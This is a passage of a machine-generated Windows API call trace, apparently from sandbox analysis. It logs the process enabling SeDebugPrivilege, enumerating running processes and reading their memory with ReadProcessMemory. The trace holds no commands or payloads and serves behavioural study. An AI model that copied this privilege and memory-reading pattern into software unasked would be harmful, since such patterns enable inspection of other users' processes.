(_Block=0x196ef101040) [0234.247] free (_Block=0x196ef100ec0) [0234.248] free (_Block=0x196ef1015e0) [0234.248] free (_Block=0x196ef100b00) [0234.249] free (_Block=0x196ef1010a0) [0234.250] free (_Block=0x196ef100f20) [0234.332] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225f90 [0234.333] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225f90, pulNumLanguages=0x67117dff0 | out: pulNumLanguages=0x67117dff0) returned 1 [0234.333] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f90) returned 1 [0234.333] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225c10) returned 1 [0236.725] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0236.861] RtlRestoreLastWin32Error () returned 0x670dbf000 [0236.861] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df48, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de40 | out: pulNumLanguages=0x67117df48, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de40) returned 1 [0236.861] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225c30 [0236.861] RtlRestoreLastWin32Error () returned 0x670dbf000 [0236.861] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df48, pwszLanguagesBuffer=0x196ef225c30, pcchLanguagesBuffer=0x67117de40 | out: pulNumLanguages=0x67117df48, pwszLanguagesBuffer=0x196ef225c30, pcchLanguagesBuffer=0x67117de40) returned 1 [0236.862] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225ce0 [0236.862] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225c30) returned 1 [0236.862] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e710 [0236.862] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e710, pulNumLanguages=0x67117df48 | out: pulNumLanguages=0x67117df48) returned 1 [0236.862] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e710) returned 1 [0236.866] malloc (_Size=0xb0) returned 0x196ef0f88a0 [0236.866] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0236.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0236.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0236.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0236.867] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0236.868] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0236.869] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 0x7ffa7bf253a0 [0236.869] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0236.869] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0236.869] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0236.869] malloc (_Size=0x18) returned 0x196ef0d1f00 [0236.869] GetCurrentThread () returned 0xfffffffffffffffe [0236.869] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x67117d530 | out: TokenHandle=0x67117d530*=0x460) returned 1 [0236.870] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x67117d56c | out: lpLuid=0x67117d56c*(LowPart=0x14, HighPart=0)) returned 1 [0236.873] RtlRestoreLastWin32Error () returned 0x670dbf000 [0236.873] AdjustTokenPrivileges (in: TokenHandle=0x460, DisableAllPrivileges=0, NewState=0x67117d568*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0236.873] GetLastError () returned 0x0 [0236.873] CloseHandle (hObject=0x460) returned 1 [0236.873] malloc (_Size=0x8000) returned 0x196ef0d7d70 [0236.874] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0236.879] free (_Block=0x196ef0d7d70) [0236.879] malloc (_Size=0x10000) returned 0x196ef0d7d70 [0236.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0236.882] free (_Block=0x196ef0d7d70) [0236.883] malloc (_Size=0x18000) returned 0x196ef0d7d70 [0236.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0236.888] free (_Block=0x196ef0d7d70) [0236.888] malloc (_Size=0x20000) returned 0x196ef0d7d70 [0236.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0x0 [0236.890] _ui64tow_s (in: _Value=0x0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0236.894] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="0") returned 1 [0236.895] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0236.896] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.028] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0237.028] CloseHandle (hObject=0x0) returned 0 [0237.029] _ui64tow_s (in: _Value=0x4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0237.033] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4") returned 1 [0237.034] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.034] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.052] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0237.052] CloseHandle (hObject=0x0) returned 0 [0237.052] _ui64tow_s (in: _Value=0x134, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0237.057] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="308") returned 3 [0237.159] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.160] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.180] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0237.180] CloseHandle (hObject=0x0) returned 0 [0237.181] _ui64tow_s (in: _Value=0x180, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0237.187] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="384") returned 3 [0237.188] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.188] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0237.310] CloseHandle (hObject=0x0) returned 0 [0237.310] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0237.315] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="444") returned 3 [0237.316] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.316] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0237.331] CloseHandle (hObject=0x0) returned 0 [0237.332] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0237.336] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="452") returned 3 [0237.337] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.337] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.528] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0237.528] CloseHandle (hObject=0x0) returned 0 [0237.530] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0237.534] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="504") returned 3 [0237.535] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.536] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x460 [0237.551] GetLastError () returned 0x0 [0237.552] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0237.552] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xff2cd3018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0237.552] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0237.552] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x12f29b416a0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0237.552] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x12f29b413b0, lpBuffer=0x67117c450, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0237.555] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0237.556] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0237.556] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xff2cd3020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0237.556] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x12f29b40d90, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0237.556] malloc (_Size=0x1c) returned 0x196ef0f9ee0 [0237.556] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0f9ee0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0f9ee0*, lpNumberOfBytesRead=0x0) returned 1 [0237.557] free (_Block=0x196ef0f9ee0) [0237.557] CloseHandle (hObject=0x460) returned 1 [0237.558] _ui64tow_s (in: _Value=0x210, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0237.696] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="528") returned 3 [0237.697] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.697] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.713] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0237.713] CloseHandle (hObject=0x0) returned 0 [0237.713] _ui64tow_s (in: _Value=0x218, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0237.717] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="536") returned 3 [0237.718] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.719] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0237.734] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x460 [0237.734] GetLastError () returned 0x0 [0237.735] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0237.735] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x70fe507018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0237.735] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0237.736] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2210d6032b0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0237.736] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2210d602f08, lpBuffer=0x67117c450, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0237.737] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.099] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.099] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x70fe507020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.099] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2210d6028f0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.099] malloc (_Size=0x3e) returned 0x196ef0fb2c0 [0238.099] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0fb2c0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb2c0*, lpNumberOfBytesRead=0x0) returned 1 [0238.100] free (_Block=0x196ef0fb2c0) [0238.101] CloseHandle (hObject=0x460) returned 1 [0238.101] _ui64tow_s (in: _Value=0x270, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0238.105] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="624") returned 3 [0238.107] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.107] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.123] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x460 [0238.124] GetLastError () returned 0x0 [0238.124] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.124] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.124] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.125] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x218a64033e0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.125] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x218a6403048, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.126] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.127] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.127] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.128] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x218a6402a30, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.128] malloc (_Size=0x5e) returned 0x196ef0d0610 [0238.128] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d0610, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0238.129] free (_Block=0x196ef0d0610) [0238.129] CloseHandle (hObject=0x460) returned 1 [0238.130] _ui64tow_s (in: _Value=0x290, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0238.134] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="656") returned 3 [0238.136] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.136] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x460 [0238.246] GetLastError () returned 0x0 [0238.246] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xeb3c623018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x22b56103450, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x22b561030c8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.248] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.249] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.250] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xeb3c623020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.250] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x22b56102ab0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.250] malloc (_Size=0x54) returned 0x196ef1015e0 [0238.250] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef1015e0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1015e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.251] free (_Block=0x196ef1015e0) [0238.251] CloseHandle (hObject=0x460) returned 1 [0238.252] _ui64tow_s (in: _Value=0x328, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0238.258] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="808") returned 3 [0238.259] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 